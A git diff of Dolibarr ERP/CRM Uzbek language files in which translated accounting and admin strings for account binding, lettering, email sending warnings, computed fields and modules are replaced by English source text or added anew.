-ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Sotib olingan va EECdan tashqariga olib kirilgan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Sotilgan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=EECda sotilgan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=EECdan tashqarida sotilgan va eksport qilingan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Sotib olingan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=EECda sotib olingan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Sotib olingan va EECdan tashqariga olib kirilgan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida ko'rsatilmagan bo'lsa) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Sotilgan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=EECda sotilgan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=EECdan tashqarida sotilgan va eksport qilingan xizmatlar uchun sukut bo'yicha buxgalteriya hisobi (agar xizmat varag'ida belgilanmagan bo'lsa) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -211,7 +220,8 @@ Codejournal=Journal JournalLabel=Jurnal yorlig'i NumPiece=Parcha raqami TransactionNumShort=Raqam bitim -AccountingCategory=Maxsus guruh +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Bosh kitob schyoti bo'yicha guruhlash GroupBySubAccountAccounting=Subledger schyoti bo'yicha guruhlash AccountingAccountGroupsDesc=Siz bu erda buxgalteriya hisobining ayrim guruhlarini belgilashingiz mumkin. Ular shaxsiylashtirilgan buxgalteriya hisobotlari uchun ishlatiladi. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Subtotalni daraja bo'yicha ko'rsatish Pcgtype=Hisob guruhi PcgtypeDesc=Hisob-kitoblar guruhi ba'zi buxgalteriya hisobotlari uchun oldindan belgilangan "filtr" va "guruhlash" mezonlari sifatida ishlatiladi. Masalan, "KIRISh" yoki "XARAJATLAR" xarajatlar / daromadlar to'g'risidagi hisobotni tuzish uchun mahsulotlarning buxgalteriya hisobi guruhlari sifatida ishlatiladi. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Yarashtiriladigan TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Mahsulotni hisobga olish hisobvarag'iga bog'langan (yoki bo'lmagan) mijozlarning hisob-fakturalari satrlari ro'yxati bilan bu erda maslahatlashing -DescVentilMore=Ko'pgina hollarda, agar siz oldindan belgilangan mahsulot yoki xizmatlardan foydalansangiz va mahsulot / xizmat kartasida hisob raqamini o'rnatgan bo'lsangiz, ilova sizning hisob-faktura satrlari va sizning hisobvaraqlar rejangizning buxgalteriya hisobi o'rtasidagi majburiylikni amalga oshirishi mumkin. "%s" tugmasi bilan bir marta bosish. Agar mahsulot / xizmat kartalarida hisob o'rnatilmagan bo'lsa yoki sizda hali ham biron bir qatorga bog'liq bo'lmagan bo'lsa, siz " %s " menyusidan majburiy ravishda majburiy ulanishingiz kerak bo'ladi. -DescVentilDoneCustomer=Xaridorlarning schyot-fakturalari ro'yxati va ularning mahsulotlarini hisobga olish hisobi bilan bu erda maslahatlashing -DescVentilTodoCustomer=Mahsulotni hisobga olish hisobvarag'i bilan bog'lanmagan hisob-faktura satrlarini bog'lab qo'ying -ChangeAccount=Tanlangan yo'nalishlar uchun mahsulot / xizmatning buxgalteriya hisobini quyidagi buxgalteriya hisobi bilan o'zgartiring: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Mahsulotni hisobga olish hisobvarag'iga bog'langan yoki hali bog'lanmagan sotuvchining faktura satrlari ro'yxati bilan bu erda maslahatlashing (faqat buxgalteriyada o'tkazilmagan yozuvlar ko'rinadi) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Bu erda sotuvchilarning schyot-fakturalari ro'yxati va ularning buxgalteriya hisobi bilan maslahatlashing DescVentilTodoExpenseReport=To'lovlarni hisobga olish hisobvarag'i bilan bog'lanmagan majburiy xarajatlar to'g'risidagi hisobot satrlari DescVentilExpenseReport=To'lovlarni hisobga olish hisobvarag'iga bog'langan (yoki bo'lmagan) xarajatlar hisobotlari ro'yxati bilan bu erda maslahatlashing @@ -283,20 +294,21 @@ DescClosure=Consult here the number of movements by month not yet validated & lo OverviewOfMovementsNotValidated=Tasdiqlanmagan va qulflanmagan harakatlarning umumiy ko'rinishi AllMovementsWereRecordedAsValidated=Barcha harakatlar tasdiqlangan va qulflangan sifatida qayd etilgan NotAllMovementsCouldBeRecordedAsValidated=Hamma harakatlarni tasdiqlangan va qulflangan deb yozib bo'lmaydi -ValidateMovements=Yozuvni tasdiqlash va bloklash... +ValidateMovements=Validate and lock movements... DescValidateMovements=Yozishni, xatlarni va o'chirishni har qanday o'zgartirish yoki o'chirish taqiqlanadi. Jismoniy mashqlar uchun barcha yozuvlar tasdiqlanishi kerak, aks holda yopish mumkin bo'lmaydi ValidateHistory=Avtomatik bog'lash AutomaticBindingDone=Avtomatik ulanishlar bajarildi (%s) - Ba'zi yozuvlar uchun avtomatik bog'lash mumkin emas (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Harakat to'g'ri muvozanatlanmagan. Debet = %s & Kredit = %s Balancing=Balanslash FicheVentilation=Majburiy karta GeneralLedgerIsWritten=Bitimlar kitobda yozilgan GeneralLedgerSomeRecordWasNotRecorded=Ba'zi operatsiyalarni jurnalga yozib bo'lmaydi. Agar boshqa xato xabari bo'lmasa, bu ular allaqachon jurnalga yozilganligi sababli bo'lishi mumkin. NoNewRecordSaved=O‘tkazish uchun boshqa rekord yo‘q -ListOfProductsWithoutAccountingAccount=Hech qanday buxgalteriya hisobiga bog'lanmagan mahsulotlar ro'yxati +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Majburiylikni o'zgartiring Accounted=Hisob kitobida hisobga olingan NotYetAccounted=Buxgalteriya hisobiga hali o'tkazilmagan @@ -319,9 +331,10 @@ AccountingJournalType1=Turli xil operatsiyalar AccountingJournalType2=Sotish AccountingJournalType3=Xaridlar AccountingJournalType4=Bank -AccountingJournalType5=Xarajatlar to'g'risida hisobot +AccountingJournalType5=Expense reports AccountingJournalType8=Inventarizatsiya AccountingJournalType9=Yangi-yangi +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Ushbu jurnal allaqachon ishlatilgan AccountingAccountForSalesTaxAreDefinedInto=Izoh: Sotish solig'i bo'yicha buxgalteriya hisobi %s - %s menyusida aniqlanadi NumberOfAccountancyEntries=Yozuvlar soni @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Harakatlar soni ACCOUNTING_DISABLE_BINDING_ON_SALES=Sotish bo'yicha buxgalteriyada majburiy va o'tkazishni o'chirib qo'ying (mijozlar hisob-kitoblari buxgalteriya hisobida hisobga olinmaydi) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Xaridlar bo'yicha buxgalteriyada majburiy va o'tkazishni o'chirib qo'ying (sotuvchi hisob-kitoblari buxgalteriya hisobida hisobga olinmaydi) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Xarajatlar hisobotlari bo'yicha buxgalteriyada majburiy va o'tkazishni o'chirib qo'ying (xarajatlar hisoboti buxgalteriya hisobida hisobga olinmaydi) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Eksport qilingan qatorlarni eksport qilingan deb belgilash (chiziqni o‘zgartirish uchun siz butun tranzaksiyani o‘chirib tashlashingiz va uni buxgalteriya hisobiga qayta o‘tkazishingiz kerak) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Sanani tekshirish va qulflash ConfirmExportFile=Buxgalteriya eksporti faylini yaratishni tasdiqlashmi? ExportDraftJournal=Jurnal jurnalini eksport qiling @@ -389,7 +406,7 @@ SaleLocal=Mahalliy sotuv SaleExport=Eksportni sotish SaleEEC=EECda sotish SaleEECWithVAT=EECda QQS bilan sotish bekor bo'lmaydi, shuning uchun bu kommunal ichki savdo emas va taklif qilingan hisob standart mahsulot hisobvarag'i. -SaleEECWithoutVATNumber=EECda QQSsiz sotish, lekin uchinchi tomonning QQS identifikatori aniqlanmagan. Biz standart sotuvlar uchun mahsulot hisobiga tushamiz. Agar kerak bo'lsa, siz uchinchi tomonning QQS identifikatorini yoki mahsulot hisobini tuzatishingiz mumkin. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Taqiqlangan: tranzaktsiya tasdiqlangan va/yoki eksport qilingan. ForbiddenTransactionAlreadyValidated=Taqiqlangan: tranzaksiya tasdiqlangan. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Hisoblangan Formula=Formula ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Murosasiz +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=Hech qanday kelishuv o'zgartirilmagan AccountancyOneLetteringModifiedSuccessfully=Bitta yarashuv muvaffaqiyatli oʻzgartirildi AccountancyLetteringModifiedSuccessfully=%s moslashtirish muvaffaqiyatli o'zgartirildi @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Bitta kelishuv muvaffaqiyatli oʻz AccountancyUnletteringModifiedSuccessfully=%s unreconcile muvaffaqiyatli oʻzgartirildi ## Confirm box -ConfirmMassUnlettering=Ommaviy kelishuvni tasdiqlash -ConfirmMassUnletteringQuestion=Haqiqatan ham %s tanlangan yozuv(lar)ni yarashtirmoqchimisiz? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Ommaviy oʻchirishni tasdiqlash ConfirmMassDeleteBookkeepingWritingQuestion=Bu operatsiyani buxgalteriya hisobidan o'chirib tashlaydi (bir xil tranzaksiyaga tegishli barcha qatorlar o'chiriladi) %s tanlangan yozuv(lar)ni o'chirib tashlamoqchimisiz? @@ -428,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Kelishuv kodidagi nomuvofiqlik AccountancyErrorMismatchBalanceAmount=Balans (%s) 0 ga teng emas AccountancyErrorLetteringBookkeeping=Tranzaktsiyalarda xatoliklar yuz berdi: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Buxgalteriya yozuvlari @@ -454,6 +477,7 @@ FECFormatMulticurrencyCode=Ko'p valyuta kodi (Idevise) DateExport=Sana eksporti WarningReportNotReliable=Diqqat, ushbu hisobot daftarga asoslanmagan, shuning uchun daftarda qo'lda o'zgartirilgan bitimni o'z ichiga olmaydi. Agar sizning jurnalizatsiya dolzarb bo'lsa, buxgalteriya hisobi yanada aniqroq bo'ladi. ExpenseReportJournal=Xarajatlar bo'yicha hisobot jurnali -InventoryJournal=Inventarizatsiya jurnali +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s hisob qaydnomalari diff --git a/htdocs/langs/uz_UZ/admin.lang b/htdocs/langs/uz_UZ/admin.lang index de5991eb679..f5a1b7a55b0 100644 --- a/htdocs/langs/uz_UZ/admin.lang +++ b/htdocs/langs/uz_UZ/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Mijozlarni taqqoslash WarningModuleNotActive= %s moduli yoqilgan bo'lishi kerak WarningOnlyPermissionOfActivatedModules=Bu erda faqat faollashtirilgan modullarga tegishli ruxsatlar ko'rsatilgan. Boshqa modullarni Home-> Setup-> Modules sahifasida faollashtirishingiz mumkin. DolibarrSetup=Dolibarr-ni o'rnating yoki yangilang -InternalUser=Ichki foydalanuvchi -ExternalUser=Tashqi foydalanuvchi InternalUsers=Ichki foydalanuvchilar ExternalUsers=Tashqi foydalanuvchilar UserInterface=Foydalanuvchi interfeysi @@ -147,6 +145,7 @@ Box=Vidjet Boxes=Vidjetlar MaxNbOfLinesForBoxes=Maks. vidjetlar uchun qatorlar soni AllWidgetsWereEnabled=Barcha mavjud vidjetlar yoqilgan +WidgetAvailable=Widget available PositionByDefault=Standart buyurtma Position=Lavozim MenusDesc=Menyu menejerlari ikkita menyu satrining tarkibini belgilaydilar (gorizontal va vertikal). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS Host (php.ini-da standart qiymat: %s MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS porti (Unix-ga o'xshash tizimlarda PHP-da aniqlanmagan) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS xosti (Unixga o'xshash tizimlarda PHP-da aniqlanmagan) MAIN_MAIL_EMAIL_FROM=Avtomatik elektron pochta xabarlari uchun jo'natuvchi elektron pochtasi (php.ini-da standart qiymat: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Xato uchun foydalanilgan elektron pochta xabarlarini qaytaradi (elektron pochtalarda "Xatolar" maydonlari) MAIN_MAIL_AUTOCOPY_TO= Barcha elektron pochta xabarlarini nusxa ko'chiring (Bcc) MAIN_DISABLE_ALL_MAILS=Barcha elektron pochta xabarlarini yuborishni o'chirib qo'ying (sinov maqsadida yoki namoyish uchun) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML yuborish uchun sinov ErrorCantUseRazIfNoYearInMask=Xatolik, har yili {yy} yoki {yyyy} ketma-ketligi niqobda bo'lmasa, hisoblagichni tiklash uchun @ parametridan foydalanib bo'lmaydi. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Xato, agar {yy} {mm} yoki {yyyy} {mm} ketma-ketligi niqobda bo'lmasa @ parametridan foydalanib bo'lmaydi. UMask=Unix / Linux / BSD / Mac fayl tizimidagi yangi fayllar uchun UMask parametri. -UMaskExplanation=Ushbu parametr serverda Dolibarr tomonidan yaratilgan fayllarda sukut bo'yicha o'rnatilgan ruxsatlarni aniqlashga imkon beradi (masalan, yuklash paytida).
      Bu sakkizli qiymat bo'lishi kerak (masalan, 0666 hamma uchun o'qish va yozishni anglatadi).
      Windows serverida ushbu parametr foydasiz. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Hissadorlar va ularning tashkilotlari ro'yxatini olish uchun Wiki sahifasini ko'rib chiqing UseACacheDelay= Bir necha soniya ichida eksportga javobni keshlash uchun kechikish (0 yoki bo'sh joy uchun bo'sh) DisableLinkToHelpCenter=Kirish sahifasida " Yordam kerak yoki " havolasini yashiring. @@ -439,8 +439,10 @@ Unique=Noyob Boolean=Mantiqiy (bitta katakcha) ExtrafieldPhone = Telefon ExtrafieldPrice = Narx +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Elektron pochta ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Ro'yxatni tanlang ExtrafieldSelectList = Jadvaldan tanlang ExtrafieldSeparator=Ajratuvchi (maydon emas) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Belgilash katakchalari ExtrafieldCheckBoxFromList=Jadvaldagi katakchalar ExtrafieldLink=Ob'ektga havola ComputedFormula=Hisoblangan maydon -ComputedFormulaDesc=Siz bu erda ob'ektning boshqa xususiyatlaridan foydalangan holda formulani yoki har qanday PHP kodlashni dinamik hisoblash qiymatini olish uchun kiritishingiz mumkin. Siz har qanday PHP-ga mos formulalardan foydalanishingiz mumkin, "?" shart operatori va quyidagi global ob'ekt: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      OGOHLANTIRISH : $ ob'ektining faqat ba'zi xususiyatlari mavjud bo'lishi mumkin. Agar sizga yuklanmagan xususiyatlar kerak bo'lsa, faqat ikkinchi misolda bo'lgani kabi o'zingizning formulangizga o'zingizning ob'ektingizni kiriting.
      Hisoblangan maydondan foydalanish o'zingizga interfeysdan hech qanday qiymat kiritib bo'lmasligingizni anglatadi. Bundan tashqari, agar sintaksis xatosi bo'lsa, formuladan hech narsa qaytmasligi mumkin.

      Formulaga misol:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, 1,

      Ob'ektni qayta yuklash uchun misol
      (($ reloadedobj = new Societe ($ db))) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id: $ obj > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Ob'ektni va uning asosiy ob'ektini majburlash uchun boshqa formulaga misol:
      (($ Task yangi = )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = new Project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Asosiy loyiha topilmadi' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Hisoblangan maydonni saqlash ComputedpersistentDesc=Hisoblangan qo'shimcha maydonlar ma'lumotlar bazasida saqlanadi, ammo qiymat faqat ushbu maydon ob'ekti o'zgartirilganda qayta hisoblanadi. Agar hisoblangan maydon boshqa ob'ektlarga yoki global ma'lumotlarga bog'liq bo'lsa, bu qiymat noto'g'ri bo'lishi mumkin !! ExtrafieldParamHelpPassword=Ushbu maydonni bo'sh qoldirish bu qiymat shifrlashsiz saqlanishini anglatadi (maydon faqat ekrandagi yulduz bilan yashirilgan bo'lishi kerak).
      parolni ma'lumotlar bazasiga saqlash uchun standart shifrlash qoidasidan foydalanish uchun "avtomatik" ni o'rnating (u holda o'qilgan qiymat faqat xash bo'ladi, asl qiymatini olishning imkoni yo'q) @@ -477,7 +479,7 @@ InstalledInto=%s katalogiga o'rnatilgan BarcodeInitForThirdparties=Uchinchi tomonlar uchun ommaviy shtrix-kod BarcodeInitForProductsOrServices=Mahsulotlar yoki xizmatlar uchun ommaviy shtrix kodni qayta tiklash yoki tiklash CurrentlyNWithoutBarCode=Ayni paytda sizda %s yozuvi %s a0a65d071f60z0c bardefined29fcda mavjud. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Barcha joriy shtrix qiymatlarini o'chirib tashlang ConfirmEraseAllCurrentBarCode=Haqiqatan ham barcha shtrix kod qiymatlarini o'chirishni xohlaysizmi? AllBarcodeReset=Barcha shtrix qiymatlari o'chirildi @@ -501,7 +503,8 @@ WarningPHPMail=OGOHLANTIRISH: Ilovadan elektron pochta xabarlarini yuborish uchu WarningPHPMailA=- Elektron pochta xizmati provayderining serveridan foydalanish elektron pochtangizning ishonchliligini oshiradi, shuning uchun SPAM sifatida belgilanmasdan etkazib berish qobiliyatini oshiradi. WarningPHPMailB=- Ba'zi elektron pochta xizmatlarini ko'rsatuvchi provayderlar (Yahoo singari) sizga o'z serverlaridan tashqari boshqa serverlardan elektron pochta xabarlarini yuborishga ruxsat bermaydilar. Sizning joriy sozlamangiz dastur serveridan sizning elektron pochta provayderingiz serverini emas, balki elektron pochta xabarlarini yuborish uchun foydalanadi, shuning uchun ba'zi qabul qiluvchilar (cheklovchi DMARC protokoli bilan mos keladigan) sizning elektron pochta provayderingizdan sizning elektron pochtangizni va ba'zi elektron pochta provayderlarini qabul qila oladimi deb so'rashadi. (Yahoo singari) "yo'q" deb javob berishi mumkin, chunki server ularga tegishli emas, shuning uchun yuborilgan elektron pochtangizning oz qismi etkazib berishga qabul qilinmasligi mumkin (elektron pochta provayderingiz yuborish kvotasidan ham ehtiyot bo'ling). WarningPHPMailC=- Elektron pochta xabarlarini yuborish uchun o'zingizning elektron pochta xizmati provayderingizning SMTP-serveridan foydalanish ham qiziq, shuning uchun dasturdan yuborilgan barcha elektron pochta xabarlari sizning pochta qutingizdagi "Yuborilgan" katalogga saqlanadi. -WarningPHPMailD=Shuningdek, elektron pochta xabarlarini yuborish usulini "SMTP" qiymatiga o'zgartirish tavsiya etiladi. Agar siz haqiqatan ham elektron pochta xabarlarini yuborish uchun "PHP" usulini saqlamoqchi bo'lsangiz, bu ogohlantirishni e'tiborsiz qoldiring yoki MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP -ni "Uy - O'rnatish - Boshqalar" da 1 ga o'zgartirib, olib tashlang. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Agar sizning SMTP elektron pochta provayderingiz elektron pochta mijozini ba'zi bir IP-manzillar bilan cheklashi kerak bo'lsa (juda kam), bu sizning ERP CRM-ilovangiz uchun pochta foydalanuvchisi agentining (MUA) IP-manzili: %s . WarningPHPMailSPF=Yuboruvchi elektron pochta manzilidagi domen nomi SPF yozuvi bilan himoyalangan bo'lsa (domen nomini ro'yxatga oluvchidan so'rang), siz domeningiz DNS SPF yozuviga quyidagi IP-larni qo'shishingiz kerak: %s . ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Masalan:
      forma yangi uchinchi tomonni y PageUrlForDefaultValuesList=
      Masalan:
      uchinchi shaxslar ro'yxati berilgan sahifa uchun %s .
      Maxsus katalogga o'rnatilgan tashqi modullarning URL manzili uchun "custom /" ni qo'shmang, shuning uchun mymodule / mypagelist.php va custom / mymodule / mypagelist.php kabi yo'ldan foydalaning.
      Agar url parametrlari bo'lsa, standart qiymatni xohlasangiz, siz %s dan foydalanishingiz mumkin AlsoDefaultValuesAreEffectiveForActionCreate=Shuni ham yodda tutingki, forma yaratish uchun standart qiymatlarning ustiga yozish faqat to'g'ri ishlab chiqilgan sahifalar uchun ishlaydi (shuning uchun parametr action = create or presend ... bilan) EnableDefaultValues=Standart qiymatlarni sozlashni yoqish -EnableOverwriteTranslation=Qayta yozilgan tarjimadan foydalanishni yoqish +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Ushbu kod bilan kalit uchun tarjima topildi. Ushbu qiymatni o'zgartirish uchun uni Home-Setup-translation-dan tahrirlashingiz kerak. WarningSettingSortOrder=Ogohlantirish, standart tartiblash tartibini o'rnatish, agar maydon noma'lum maydon bo'lsa, ro'yxat sahifasiga o'tishda texnik xatolarga olib kelishi mumkin. Agar siz bunday xatoga duch kelsangiz, standart saralash tartibini olib tashlash va odatiy xatti-harakatlarni tiklash uchun ushbu sahifaga qayting. Field=Maydon @@ -643,11 +646,13 @@ Module2300Name=Rejalashtirilgan ish joylari Module2300Desc=Rejalashtirilgan ishlarni boshqarish (taxallusli cron yoki xron jadval) Module2400Name=Tadbirlar / kun tartibi Module2400Desc=Voqealarni kuzatib borish. Kuzatish maqsadida avtomatik tadbirlarni ro'yxatdan o'tkazing yoki qo'lda sodir bo'lgan voqealar yoki uchrashuvlarni yozib oling. Bu yaxshi mijozlar yoki sotuvchilar bilan munosabatlarni boshqarish uchun asosiy moduldir. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Hujjatlarni boshqarish tizimi / elektron tarkibni boshqarish. Yaratilgan yoki saqlanadigan hujjatlaringizni avtomatik ravishda tashkil etish. Agar kerak bo'lsa, ularni baham ko'ring. -Module2600Name=API / veb-xizmatlar (SOAP-server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=API xizmatlarini taqdim etadigan Dolibarr SOAP serverini yoqing -Module2610Name=API / veb-xizmatlar (REST-server) +Module2610Name=API / Web services (REST server) Module2610Desc=API xizmatlarini ko'rsatadigan Dolibarr REST serverini yoqing Module2660Name=WebServices-ga qo'ng'iroq qiling (SOAP mijozi) Module2660Desc=Dolibarr veb-xizmatlari mijozini yoqing (Ma'lumotlarni / so'rovlarni tashqi serverlarga yuborish uchun ishlatilishi mumkin. Hozirda faqat Buyurtma buyurtmalari qo'llab-quvvatlanadi.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind konversiyalari imkoniyatlari 